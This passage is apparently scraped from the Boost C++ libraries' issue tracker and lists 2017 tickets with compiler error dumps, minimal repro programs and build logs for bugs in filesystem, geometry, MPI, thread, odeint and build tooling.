/usr/local/include/boost/mpl/vector/vector0.hpp:24,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/clear.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:25,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:31: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:32: error: ‘template<class _Tp, class _Alloc> class std::vector’ used without template parameters /usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:32: error: expected ‘{’ before ‘size’ /usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:33: error: invalid type in declaration before ‘{’ token /usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:34: error: ISO C++ forbids in-class initialization of non-const static member ‘size’ /usr/local/include/boost/mpl/vector/aux_/O1_size.hpp:34: error: template declaration of ‘int boost::mpl::size’ In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:27,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/empty.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/empty.hpp:32: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/empty.hpp:32: error: expected template-argument before ‘::’ token /usr/local/include/boost/mpl/vector/aux_/empty.hpp:32: error: expected ‘>’ before ‘::’ token /usr/local/include/boost/mpl/vector/aux_/empty.hpp:34: error: wrong number of template arguments (1, should be 2) /usr/local/include/boost/type_traits/is_same.hpp:29: error: provided for ‘template<class T, class U> struct boost::is_same’ /usr/local/include/boost/mpl/vector/aux_/empty.hpp:35: error: expected ‘::’ before ‘{’ token /usr/local/include/boost/mpl/vector/aux_/empty.hpp:35: error: expected class-name before ‘{’ token In file included from /usr/local/include/boost/mpl/vector/vector0.hpp:31,

from /usr/local/include/boost/mpl/vector/vector10.hpp:18, from /usr/local/include/boost/mpl/vector/vector20.hpp:18, from /usr/local/include/boost/mpl/vector.hpp:36, from HTTP_Request.cpp:13:

/usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:30: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:32: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:32: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:39: error: invalid use of template-name ‘std::vector’ without an argument list /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:41: error: type/value mismatch at argument 1 in template parameter list for ‘template<int <anonymous>, long int n_> struct boost::mpl::v_iter’ /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:41: error: expected a constant of type ‘int’, got ‘vector’ /usr/local/include/boost/mpl/vector/aux_/begin_end.hpp:41: error: template argument 2 is invalid

#13056: boost\asio\impl\read_until.hpp

xjzhang1979@… — Tue, 06 Jun 2017 02:31:23 GMT

Start a new asynchronous read operation to obtain more data. stream_.async_read_some(streambuf_.prepare(bytes_to_read),

BOOST_ASIO_MOVE_CAST(read_until_delim_string_op)(*this));

return; default: why the default label is here? streambuf_.commit(bytes_transferred);
if (ec

bytes_transferred == 0)

break;

#13055: Couple doc typos

jonroy7@… — Sun, 04 Jun 2017 20:24:48 GMT

http://www.boost.org/doc/libs/1_64_0/libs/graph/doc/VertexListGraph.html

Under description of vertices(g), "graphg" should be "graph g".

http://www.boost.org/doc/libs/1_64_0/libs/disjoint_sets/disjoint_sets.html

First paragraph says "member of of the set".

#13054: Boost Process - rdbuf() in basic_ipstream/basic_opstream - implementation bug

radoslaw.chm@… — Fri, 02 Jun 2017 21:22:01 GMT

boost/process/pipe.hpp :

/Get access to the underlying stream_buf basic_pipebuf<CharT, Traits>* rdbuf() const {return _buf;};

my code:

boost::process::opstream stream;

stream.rdbuf();

compiler:

/home/myname/boost/include/boost/process/pipe.hpp:341:57: error: cannot convert ‘const boost::process::basic_pipebuf<char>’ to ‘boost::process::basic_pipebuf<char>*’ in return

basic_pipebuf<CharT, Traits>* rdbuf() const {return _buf;};

#13053: fail to build boost.build engine

854976175@… — Thu, 01 Jun 2017 15:41:25 GMT

### ### Using 'vc14' toolset. ###

E:\VS2013\BOOST\boost_1_64_0\tools\build\src\engine>if exist bootstrap rd /S /Q bootstrap

E:\VS2013\BOOST\boost_1_64_0\tools\build\src\engine>md bootstrap

E:\VS2013\BOOST\boost_1_64_0\tools\build\src\engine>cl /nologo /RTC1 /Zi /MTd /Fobootstrap/ /Fdbootstrap/ -DNT -DYYDEBUG -wd4996 kernel32.lib advapi32.lib user32.lib /Febootstrap\jam0 command.c compile.c constants.c debug.c execcmd.c execnt.c filent.c frames.c function.c glob.c hash.c hdrmacro.c headers.c jam.c jambase.c jamgram.c lists.c make.c make1.c object.c option.c output.c parse.c pathnt.c pathsys.c regexp.c rules.c scan.c search.c subst.c timestamp.c variable.c modules.c strings.c filesys.c builtins.c md5.c class.c cwd.c w32_getreg.c native.c modules/set.c modules/path.c modules/regex.c modules/property-set.c modules/sequence.c modules/order.c

E:\VS2013\BOOST\boost_1_64_0\tools\build\src\engine>exit /b 9009

#13052: iostreams visibility=hidden for non-Windows platforms

Thu, 01 Jun 2017 12:07:49 GMT

For the Mac, I am compiling the Boost libraries and my code using visibility=hidden. My code cannot find "boost::iostreams::zlib::default_compression". This is defined in iostreams/filter/zlib.hpp as Code: BOOST_IOSTREAMS_DECL extern const int default_compression;

The only place that BOOST_IOSTREAMS_DECL is defined is iostreams/detail/config/dyn_link.hpp. That file sets the macro to either Windows-specific settings (declspec(dllexport)), or leaves it blank. So the Boost iostreams library will have the wrong visibility settings.

This is unlike other places in the Boost code, where the right visibility settings are obtained by defining the library DECL macro as BOOST_SYMBOL_EXPORT. (Take a look at filesystem/config.hpp as an example of how it is done for most of the other libraries.)

#13049: nvcc CT Error: Boost 1.64.0 & CUDA 8.0

r.widera@… — Tue, 30 May 2017 11:58:21 GMT

Compiling a host program which uses boost odeint integrate with nvcc from CUDA8.0 is not possible. The issue has been reported to Nvidia and will be fixed in CUDA 9.

Error

nvcc is crashing with an internal cudafe error

/boost/numeric/odeint/stepper/controlled_runge_kutta.hpp(66): internal error: assertion failed at: "/dvs/p4/build/sw/rel/gpu_drv/r361/r361_00/drivers/compiler/edg/EDG_4.10/src/types.c", line 7537
1 catastrophic error detected in the compilation of "/tmp/tmpxft_0000369f_00000000-9_main.cpp1.ii".

Example

#include <boost/array.hpp>
// this include is needed to compile with cuda 7.5
// boost bug: https://svn.boost.org/trac/boost/ticket/12516
// see fix https://github.com/boostorg/serialization/commit/1d86261581230e2dc5d617a9b16287d326f3e229
#include <boost/serialization/array_wrapper.hpp>
#include <boost/numeric/odeint/integrate/integrate.hpp>
#include <iostream>
typedef double float_64;
namespace foo{
    struct Probability
    {
        Probability() {}
        template<typename T_State>
        void operator()(const T_State &, T_State &dpdtheta, const float_64 theta) const
        {
            const float_64 theta2 = theta*theta;
            dpdtheta[0] = theta2;
        }
    };
}
int main()
{
    namespace odeint = boost::numeric::odeint;
    typedef boost::array<float_64, 1> state_type;
    state_type integral_result = {0.0};
    const float_64 lowerLimit = 0.0;
    const float_64 upperLimit = 0.1;
    const float_64 stepwidth = (2000 - 10) / float_64(1000.0);
    foo::Probability integrand;
    odeint::integrate(integrand, integral_result, lowerLimit, upperLimit, stepwidth);
    std::cout<<integral_result[0]<<std::endl;
    return 0;
}

Compile

nvcc -std=c++11 main.cu -I$BOOST_ROOT/boost_1_64_0/include -L$BOOST_ROOT/boost_1_64_0/lib

I will provide a pull request in the next hours adding -DBOOST_NO_CXX11_NOEXCEPT to boost/config for nvcc CUDA 8.0

#13048: Static libraries and visibility hidden

Fri, 26 May 2017 18:21:46 GMT

I've been told that I can compile the Boost libraries with "-fvisibility=hidden". But I think it will work only for shared libraries, and I am building static libraries.

If I'm wrong, please point out what I am missing. I will use the Filesystem library as an example, but I think this applies to Boost in general.

There are a number of functions that need to have default visibility to allow the libraries to link with other code without error. These functions have the BOOST_FILESYSTEM_DECL macro in their declaration. I am using Xcode. The config/compiler/clang.hpp file has defined BOOST_SYMBOL_EXPORT with the attribute-visibility-default setting. So I look for code that sets BOOST_FILESYSTEM_DECL to be BOOST_SYMBOL_EXPORT.

When I look at the filesystem/config.hpp file, BOOST_FILESYSTEM_DECL is blank, unless (BOOST_ALL_DYN_LINK or BOOST_FILESYSTEM_DYN_LINK) and BOOST_FILESYSTEM_SOURCE are set. But with static libraries, I don't want those settings, right?

There is another preprocessor macro called BOOST_SYMBOL_VISIBLE, but it is only used one place in filesystem (for the filesystem_error class).

Any help in the right direction would be appreciated. Or if this is an oversight, that would be helpful to know.

#13047: Program crash after calling boost::filesystem::exists

aminemayouf@… — Fri, 26 May 2017 11:22:12 GMT

Everything is in the title

#13046: Program crash after calling boost::filesystem::exists

aminemayouf@… — Fri, 26 May 2017 11:21:58 GMT

Everything is in the title

#13044: Failed to build Boost.Build engine.

Tue, 23 May 2017 10:34:51 GMT

Hello I just run bootstrap.bat as recommended in isntall guides and it does not work. I get:

Building Boost.Build engine
Failed to build Boost.Build engine.
Please consult bootstrap.log for further diagnostics.
You can try to obtain a prebuilt binary from
   http://sf.net/project/showfiles.php?group_id=7586&package_id=72941
Also, you can file an issue at http://svn.boost.org
Please attach bootstrap.log in that case.

Basically it can not find ctype.h. It is frustrating as I know where it is: "c:\Program Files (x86)\Windows Kits\10\Include\10.0.10150.0\ucrt\ctype.h"

But I do not know how to provide it to fucking boost_1_64_0\bootstrap.bat.

I could modified makefile, if only there would be some makefile but there is not... You use some system that you claim is fully automatic and it does not work with my most standard Visual Studio 2015 :((((

It seems other people has same problems: https://stackoverflow.com/questions/36136978/unable-to-build-boost-1-60-with-visual-studio-2015-pro Could you please fix it????

#13043: Serialized MPI doesn't properly handle cancellation of a request

Mon, 22 May 2017 17:12:00 GMT

Hi - Think I've found a bug - If you try version A with mpiexec -n 2 then you get a clean exit - if you try version B, it hangs indefinitely. request::handle_serialized_irecv isn't handling cancellation. This is bothersome when you have to MPI_comm_disconnect from things. I can workaround by wrapping the transmission but that's not optimal. Please advise if you need more info, I'm using MSMPI and MSVC. Had previously posted this on Stack Overflow who thought it was a bug. Thanks for the library and look forward to hearing from you all soon.

#include "boost/mpi.hpp"
#include "mpi.h"
#include <list>
#include "boost/serialization/list.hpp"
int main()
{
    MPI_Init(NULL, NULL);
    MPI_Comm regional;
    MPI_Comm_dup(MPI_COMM_WORLD, &regional);
    boost::mpi::communicator comm = boost::mpi::communicator(regional, boost::mpi::comm_attach);
    if (comm.rank() == 1)
    {
        //VERSION A:
        std::list<int> q;
        boost::mpi::request z = comm.irecv<std::list<int>>(1, 0, q);
        z.cancel();
        z.wait();
        //VERSION B:
//      int q;
//      boost::mpi::request z = comm.irecv<int>(1, 0, q);
//      z.cancel();
//      z.wait();
    }
    MPI_Comm_disconnect(&regional);
    MPI_Finalize();
    return 0;
}

#13042: Build errors with stdlib=sun-stlport on Linux

maxim.kartashev@… — Mon, 22 May 2017 14:59:07 GMT

The build on Oracle Linux fails with stdlib=sun-stlport due to a default option incompatibility:

$ b2 stdlib=sun-stlport
...failed sun.compile.c++ bin.v2/libs/python/build/sun/release/link-static/stdlib-sun-stlport/threading-multi/numpy/dtype.o...
sun.compile.c++ bin.v2/libs/python/build/sun/release/link-static/stdlib-sun-stlport/threading-multi/numpy/matrix.o
CC: -library=stlport4 cannot be used with -std=c++03. To use this library you need to switch to -std=sun03

The -library=stlport4 option requires -compat=5 (or -std=sun03 which is the same thing), but the default on Linux is -compat=g (GNU ABI, equivalent to -std=c++03). So -library=stlport4 is not compatible with the default on Linux.

The fix is to always specify -compat=5 together with -library=stlport4; another option would be to specify -std=sun03 instead as the error message suggests, but older compilers don't recognize the latter option, so -compat=5 is safer to use.

A similar problem could arise for the apache (stdcxx4) library that is also only supported with -compat=5, so I suggest to make similar changes for it as well. This is not strictly necessary as currently the apache library is only supported on Solaris where -compat=5 is the default, but making this additional change makes the build more future-proof.

#13039: geometry::difference with multi_linestring and multi_polygon needs geometry.hpp to compile with MinGW/LLVM

bruno.deligny@… — Fri, 19 May 2017 17:30:15 GMT

Code highlighting:

boost::geometry::model::multi_polygon< boost::geometry::model::polygon< boost::geometry::model::d2::point_xy<float> , false, false> >      myMultiPolygon;
boost::geometry::model::multi_linestring< boost::geometry::model::linestring< boost::geometry::model::d2::point_xy<float> > >              myMultiLineString;
boost::geometry::model::multi_linestring< boost::geometry::model::linestring< boost::geometry::model::d2::point_xy<float> > >              myMultiLineStringOut;
boost::geometry::difference(myMultiLineString, myMultiPolygon, myMultiLineStringOut);

On MinGW 5.3.0 with QtCreator, it ouput: boost\boost\geometry\algorithms\detail\overlay\intersection_insert.hpp:403: error: no matching function for call to 'assertion_failed(mpl_::failed (boost::geometry::dispatch::intersection_insert<boost::geometry::model::multi_linestring<boost::geometry::model::linestring<boost::geometry::model::d2::point_xy<float> > >, boost::geometry::model::multi_polygon<boost::geometry::model::polygon<boost::geometry::model::d2::point_xy<float>, false, false> >, boost::geometry::model::linestring<boost::geometry::model::d2::point_xy<float> >, (boost::geometry::overlay_type)2u, false, false, false, boost::geometry::multi_linestring_tag, boost::geometry::multi_polygon_tag, boost::geometry::linestring_tag, false, true, false>::NOT_OR_NOT_YET_IMPLEMENTED_FOR_THIS_GEOMETRY_TYPES_OR_ORIENTATIONS::)(mpl_::assert_::types<boost::geometry::model::multi_linestring<boost::geometry::model::linestring<boost::geometry::model::d2::point_xy<float> > >, boost::geometry::model::multi_polygon<boost::geometry::model::polygon<boost::geometry::model::d2::point_xy<float>, false, false> >, boost::geometry::model::linestring<boost::geometry::model::d2::point_xy<float> >, mpl_::na>))'

BOOST_MPL_ASSERT_MSG

It works on Visual Studio 2015.

And it's the same with a line_string instead of the multi_linestring.

#13032: qvm/mat.hpp fails to compile when assign/list_of.hpp has been included first

Mon, 15 May 2017 08:36:16 GMT

Following program:

#include "boost/assign/list_of.hpp"
#include "boost/geometry/strategies/transform/matrix_transformers.hpp"

fails to compile with g++-6.1.0, giving the error

/home/krausemi/xxxx-boost/1.64/include/boost/qvm/mat.hpp: In member function ‘boost::qvm::mat<T, Rows, Cols>::operator R() const’:
/home/krausemi/xxxx-boost/1.64/include/boost/qvm/mat.hpp:28:23: error: expected primary-expression before ‘(’ token
                 assign(r,*this);
                       ^

#13031: Un-deprecated boost::optional::reset()

bmerry@… — Mon, 15 May 2017 08:06:51 GMT

In the discussion on https://lists.boost.org/Archives/boost/2016/03/228070.php it was mentioned that if C++1z adopted a std::optional::reset() method, it could be un-deprecated in boost::optional. Now that it looks reasonably certain to be in C++17 (the no-argument form), can it be un-deprecated in Boost?

#13030: Make address class and related classes to literal type

soorosh_abi@… — Sun, 14 May 2017 13:06:04 GMT

ITNOA

Hi, I think is good idea to have address class and related classes such as address_v4 and v6 make literal type for performance improvement and it is appropriate when I have constant IP address.

#13029: Unable to build with VS2015

Sat, 13 May 2017 07:58:50 GMT

I am unable to build in windows 10 with VS2015.

bootstrap.log follows

#13028: boost::filesystem::canonical(const path& p, system::error_code& ec) throws exception

Fri, 12 May 2017 20:18:22 GMT

Per the docs, this function should report filesystem errors through the error_code. In the case of permission issues, this contract is violated.

This is best explained with the test case:

#include <boost/detail/lightweight_test_report.hpp>
#include <boost/filesystem.hpp>
namespace fs = boost::filesystem;
int test_main(int, char*[])
{
  // Ensure that we do not have read permissions on pwd
  fs::path tmp_path = fs::temp_directory_path();
  fs::path unique_path = fs::unique_path();
  fs::path dir_path = tmp_path / unique_path;
  fs::create_directory(dir_path);
  fs::current_path(dir_path);
  fs::permissions(dir_path, fs::no_perms);
  // Try to get a canonical path with the error_code API. This should return an
  // error through the error_code, but instead throws an exception (because
  // canonical(const path& p, system::error_code& ec) calls current_path()
  // without error_code)
  boost::system::error_code e;
  fs::canonical("foo", e);
  BOOST_TEST(e.value() != 0);
  return ::boost::report_errors();
}

Test output:

bin/bug
Clang version 8.0.0 (clang-800.0.38), __GXX_EXPERIMENTAL_CXX0X__ not defined
libc++ version 3700
Mac OS
Boost version 1.65.0
Command line: bin/bug
ERROR  ERROR  ERROR  ERROR  ERROR  ERROR  ERROR  ERROR  ERROR  ERROR  ERROR
****************************** std::exception *****************************
boost::filesystem::current_path: Permission denied
***************************************************************************

This unexpected exception causes a crash in osquery. See https://github.com/facebook/osquery/issues/3279

#13025: Segmentation fault in difference(multipoint, multilinestring)

Thu, 11 May 2017 13:39:33 GMT

The following piece of code throws a segmentation fault. Produced on Ubuntu 14.04.3 with gcc 4.8.4

#include <boost/geometry.hpp>
#include <boost/geometry/geometries/point_xy.hpp>
namespace bg = boost::geometry;
int main()
{
    typedef bg::model::d2::point_xy<double> point;
    bg::model::multi_linestring<bg::model::linestring<point> > mls2;
    bg::read_wkt("MULTILINESTRING((0 1, 0 3))", mls2);
    bg::model::multi_point<point> mpt2;
    bg::read_wkt("MULTIPOINT(0 4)", mpt2);
    bg::difference(mpt2, mls2, mpt2);
    return 0;
}

#13023: Boost_python3 prebuild binaries are not built correctly.

sergey.shandar@… — Wed, 10 May 2017 22:53:33 GMT

See for more details github.com/sergey-shandar/getboost/issues/33

PS. It's really really hard to report a bug if you are not member with all of these "Submission rejected as potential spam (External links in post found)"... Should you switch to GitHub?

#13022: Boost_python2 prebuild binaries are not built correctly.

anonymous — Wed, 10 May 2017 22:46:16 GMT

https://sourceforge.net/projects/boost/files/boost-binaries/1.64.0/ contains an incorrect Boost Python 3 library.

See https://github.com/sergey-shandar/getboost/issues/33 for more details.

#13021: Odeint: Eigen upgrade to v 3.3.3 breaks compatibility

speku.gmt@… — Wed, 10 May 2017 18:25:08 GMT

In order to combine odeint with the Eigen library I use, among other things, #include "boost/numeric/odeint/external/eigen/eigen.hpp"

This used to work perfectly with Eigen version 3.2 , but fails after an upgrade of the Eigen libraries to version 3.3.3. The code does not compile, generating a large amount of error messages, beginning with:

In file included from /usr/include/boost/numeric/odeint/external/eigen/eigen.hpp:22:0,
                 from minimal.cpp:3:
/usr/include/boost/numeric/odeint/external/eigen/eigen_algebra.hpp:35:37: error: ‘scalar_add_op’ in namespace ‘Eigen::internal’ does not name a template type
(...)

A minimal reproducible example is:

#include <Eigen/Dense>
#include <boost/numeric/odeint.hpp>
#include "boost/numeric/odeint/external/eigen/eigen.hpp"
int main() {}

This code does not compile with Eigen 3.3.3. The only functioning workaround I found was downgrading to Eigen 3.3.2.

I noticed the problem while using Boost version 1.58.0, ubuntu 16.04, g++ version 5.4.0. Upgraded to Boost version 1.64.0; to no avail. The error messages differ after the Boost upgrade but the problem persists.

#13017: boost::interprocess::map compilation problem (overloading)

gjcarneiro@… — Mon, 08 May 2017 13:32:59 GMT

This code compiles with libboost 1.58, but doesn't compile with 1.62 or 1.63. I tried with g++-6.3 and g++-5.4, both with same result.

#include <cassert>
#include <cstring>
#include <boost/interprocess/managed_shared_memory.hpp>
#include <boost/interprocess/containers/map.hpp>
#include <boost/interprocess/containers/vector.hpp>
#include <boost/interprocess/containers/string.hpp>
#include <boost/interprocess/containers/set.hpp>
#include <boost/interprocess/allocators/allocator.hpp>
#include <boost/unordered_map.hpp>
namespace ipc = boost::interprocess;
typedef ipc::managed_shared_memory::segment_manager segment_manager_t;
typedef ipc::allocator<void, segment_manager_t> void_allocator_t;
typedef ipc::allocator<char, segment_manager_t> char_allocator_t;
typedef ipc::basic_string<char, std::char_traits<char>, char_allocator_t> shared_string_t;
typedef ipc::allocator<shared_string_t, segment_manager_t> string_allocator;
typedef std::pair<shared_string_t, shared_string_t> shared_sport_event_pair_t;
typedef ipc::set<const shared_string_t, std::less<shared_string_t>, string_allocator> shared_bms_set_t;
typedef std::pair<const shared_sport_event_pair_t, shared_bms_set_t> event_index_map_t;
typedef ipc::allocator<event_index_map_t, segment_manager_t> event_index_allocator_t;
typedef ipc::map<shared_sport_event_pair_t, shared_bms_set_t, std::less<shared_sport_event_pair_t>, event_index_allocator_t> shared_event_index_t;
struct SharedState
{
	SharedState(const void_allocator_t &alloc)
		: m_EventIndex(std::less<shared_sport_event_pair_t>(), alloc)
	{
	}
	shared_event_index_t m_EventIndex;
};

#13016: small buffer optimization for bool vector or dynamic_bitset

gast128@… — Mon, 08 May 2017 12:26:58 GMT

The small_vector addition (#9165) is great. However using this with Booleans gives space overhead. The std has anticipated this with the vector<bool> concept though not everybody is enthusiastic about this optimization. Unfortunately this one always allocates its data on the heap. What I need is the optimization of vector<bool> (or a dynamic_bitset) with the small buffer optimization.

The use case is that I keep bool (or a bit postion) for every connected pin which goes from 0 to max pins. 99% of the use cases the maximum pins are less than 10 though I do not want to set a maximum on it beforehand (so e.g. use of std::bitset with 32 values would rule this out, since that one is topped to 32).

#13015: Several "declaration hides member" warnings in Boost random

thimo.neubauer@… — Mon, 08 May 2017 10:00:07 GMT

In our nightly builds with the Intel Compiler 2016.3 we're getting multiple warnings in the style of:

In file included from /build/MAIN/Third_Party_Libraries/Boost/include/boost/random/ranlux.hpp(19),
                 from /build/MAIN/Third_Party_Libraries/Boost/include/boost/random.hpp(44),
                 from /build/MAIN/Source_Code/Test/CSTlibTester/Datagram.cpp(4):
/build/MAIN/Third_Party_Libraries/Boost/include/boost/random/subtract_with_carry.hpp(247): warning #3280: declaration hides member "boost::random::subtract_with_carry_engine<IntType, w, s, r>::x" (declared at line 303)
      friend bool operator==(const subtract_with_carry_engine& x, const subtract_with_carry_engine& y)

The warnings are pretty easy to fix, I'll attach a patch relative to Boost 1.60.0 (the version we're using)

#13014: buffer returns invalid geometries when used with asymmetric distances on the same side

andre.meyer@… — Mon, 08 May 2017 09:20:46 GMT

Using buffer with distances (2/-1) or (-1/2) should generate a polygon that lies beside the original linestring.

But, since the direction is only determined for both sides (in buffer_inserter, checking negative() for the distance strategy, which returns only true if both sides are negative), the inner of both sides is calculated wrong.

Maybe buffer_inserter could check nageative() for each side separately, and only reverse one side before stitching both sides together?

#13013: Boost upgradeable lock - simple swap include error.

sprague.a.rick@… — Mon, 08 May 2017 01:18:08 GMT

This worked fine in 1.55 (Ubuntu 14), but 1.62 in Ubuntu 17 has issues:

Ubuntu 17 (libboost-dev-all 1.62.0.1)

/usr/include/boost/interprocess/sync/upgradable_lock.hpp:297:8: error: ‘simple_swap’ was not declared in this scope

(simple_swap)(mp_mutex, other.mp_mutex);

Seems to be missing header: #include <boost/interprocess/detail/simple_swap.hpp>

#13010: Is there any plan to support initializer list constructor and move assign?

Fri, 05 May 2017 02:19:36 GMT

Is there any plan to support initializer list constructor and move assign?I think it make sense.

#13008: [windows][Visual Studio compiler] Building Boost Thread with /GL causes leak in boost::thread_specific_ptr

daniel.kruegler@… — Wed, 03 May 2017 20:47:35 GMT

When Boost Thread is build using the Visual Studio compiler with the optimization flag /GL ("Whole Program Optimization") added, and when a program links statically against Boost Thread for release builds, instances of boost::thread_specific_ptr don't call the cleanup function for object instances in other threads when threads have been started via windows API (not using boost::thread). The problem occurs for both 32-bit and 64-bit systems, and has been observed on Windows 7 and Windows 10, and for both auto-linking and not auto-linking situations.

How to reproduce:

a) Build the relevant Boost libraries using the following command:

b2 --build-dir="%TMP%" toolset=msvc-14.1 --with-thread --with-system --with-date_time --with-atomic address-model=32 link=static,shared variant=release asynch-exceptions=on extern-c-nothrow=off rtti=on optimization=speed cxxflags="/GL" linkflags="/LTCG:incremental" --stagedir=C:\SomePath --compiler="C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.10.25017\bin\HostX64\x64\cl.exe"

b) Build statically against the following translation unit in release mode and run the program:

#include <iostream>
#include "boost/config.hpp"
#include "boost/thread/tss.hpp"
#include "boost/atomic.hpp"
#if !defined(BOOST_HAS_WINTHREADS)
#  error Windows platform required
#endif
#include <windows.h>
// Uncomment to activate IO output for debugging purposes:
#define BDAL_USE_IO_OUTPUT
typedef int atomic_int_underlying_type;
typedef boost::atomic<bool> atomic_bool_type;
typedef boost::atomic<atomic_int_underlying_type> atomic_integral;
atomic_integral instance_counter(0);
atomic_bool_type test_result(false);
struct InstanceCountingClass
{
  InstanceCountingClass()
  {
    ++instance_counter;
#ifdef BDAL_USE_IO_OUTPUT
    std::cout << "[InstanceCountingClass] default c'tor" << std::endl;
#endif
  }
  InstanceCountingClass(const InstanceCountingClass&)
  {
    ++instance_counter;
#ifdef BDAL_USE_IO_OUTPUT
    std::cout << "[InstanceCountingClass] copy c'tor" << std::endl;
#endif
  }
  ~InstanceCountingClass()
  {
    --instance_counter;
#ifdef BDAL_USE_IO_OUTPUT
    std::cout << "[InstanceCountingClass] d'tor" << std::endl;
#endif
  }
};
boost::thread_specific_ptr<InstanceCountingClass> tss;
DWORD WINAPI myThreadFunction(LPVOID)
{
#ifdef BDAL_USE_IO_OUTPUT
  std::cout << "[myThreadFunction] called" << std::endl;
#endif
  atomic_int_underlying_type cnt = instance_counter.load();
  if (cnt != 1) {
    std::cerr << "[myThreadFunction] TSS instance counter is different from 1: " << cnt << std::endl;
    test_result.store(false);
  }
  if (tss.get()) {
    std::cerr << "[myThreadFunction] TSS contains unexpected value" << std::endl;
    test_result.store(false);
  }
  tss.reset(new InstanceCountingClass());
  cnt = instance_counter.load();
  if (cnt != 2) {
    std::cerr << "[myThreadFunction] TSS instance counter is different from 2: " << cnt << std::endl;
    test_result.store(false);
  }
  return 0;
}
bool doTestBoostThreadSpecificPtrCleanup()
{
  instance_counter.store(0);
  test_result.store(true);
  if (tss.get()) {
    std::cerr << "[doTestBoostThreadSpecificPtrCleanup] TSS contains unexpected value" << std::endl;
    return false;
  }
  tss.reset(new InstanceCountingClass());
  // Use Windows API to instantiate a thread
  HANDLE threadhandle = ::CreateThread(NULL, 0, myThreadFunction, NULL, 0, 0);
  if (!threadhandle) {
    std::cerr << "[doTestBoostThreadSpecificPtrCleanup] CreateThread failed" << std::endl;
    return false;
  }
  // Wait for thread to exit
  DWORD rc = ::WaitForSingleObject(threadhandle, INFINITE);
  if (!::CloseHandle(threadhandle) || rc != WAIT_OBJECT_0 || !test_result) {
    std::cerr << "[doTestBoostThreadSpecificPtrCleanup] WaitForSingleObject or CloseHandle failed" << std::endl;
    return false;
  }
  // Make sure that the thread-specific instance has been destroyed,
  // even though we haven't used the Boost.Thread API to start the
  // thread.
  atomic_int_underlying_type cnt = instance_counter.load();
  if (cnt != 1) {
    std::cerr << "[doTestBoostThreadSpecificPtrCleanup] TSS instance counter is different from 1: "
      << cnt << std::endl;
    return false;
  }
  return true;
}
int main()
{
  if (doTestBoostThreadSpecificPtrCleanup())
  {
    std::cout << "SUCCESS!" << std::endl;
  }
  else
  {
    std::cerr << "FAILURE!" << std::endl;
  }
}

Observed output:

[InstanceCountingClass] default c'tor
[myThreadFunction] called
[InstanceCountingClass] default c'tor
[doTestBoostThreadSpecificPtrCleanup] TSS instance counter is different from 1: 2
FAILURE!
[InstanceCountingClass] d'tor

Verified for:

Boost versions: 1.64, 1.63
Visual Studio versions: VS 2012 (toolset=msvc-11.0), VS 2015 (toolset=msvc-14.0), VS 2017 (toolset=msvc-14.1)

Workaround:

Don't build Boost using the /GL compiler flag.

#13007: When BOOST_BIND_NO_PLACEHOLDERS is defined, framework.ipp seems to be missing an #include

bspencer@… — Wed, 03 May 2017 18:12:22 GMT

Like the summary says, I think boost/test/impl/framework.ipp should simply have one additional #include <boost/bind/placeholders.hpp> so it works when BOOST_BIND_NO_PLACEHOLDERS is defined.

#13004: Cannot build boost 1.64 with Visual Studio 2015 command prompt when Visual Studio 2017 is installed

mgr2000@… — Wed, 03 May 2017 13:31:17 GMT

I open a Visual Studio 2015 command prompt and try to build boost. But the libraries are no longer called *vc140*.lib, but *vc141*.lib. When building my application from my own environment. Calling \tools\build\src\engine\guess_toolset.bat manually sets the environment variables correctly: BOOST_JAM_TOOLSET=vc14 BOOST_JAM_TOOLSET_ROOT=C:\Program Files (x86)\Microsoft Visual Studio 14.0\Common7\Tools\..\..\VC\ Also when I add printing of the precompiler define BOOST_MSVC in some source file of boost, it prints 1900, not 1910 correctly on compilation. But calling build.bat prints: ### ### Using 'vc141' toolset. ### and afterwards the libraries are named vc141, while boost auto_link in my project still tries to find them as vc140.

#13000: Please use BOOST_NOEXCEPT_OR_NOTHROW

viboes — Mon, 01 May 2017 01:27:12 GMT

When compiling with -Wdeprecated we get this warning

../../../boost/system/system_error.hpp:47:31: error: dynamic exception specifications are deprecated [-Werror,-Wdeprecated-dynamic-exception-spec]
      virtual ~system_error() throw() {}
                              ^~~~~~~
../../../boost/system/system_error.hpp:47:31: note: use 'noexcept' instead

#12998: Can't forward single-argument constructors to sinks

steinar+boost@… — Sun, 30 Apr 2017 22:25:39 GMT

CasparCG has code like this:

class sink_backend : public boost::log::sinks::basic_formatted_sink_backend<char> {

std::function<void(std::string line)> formatted_line_sink_;

public:

sink_backend(std::function<void(std::string line)> formatted_line_sink)

: formatted_line_sink_(std::move(formatted_line_sink))

{ }

void consume(const boost::log::record_view& rec, const std::string& formatted_message) {

try {

formatted_line_sink_(formatted_message);

} catch (...) {

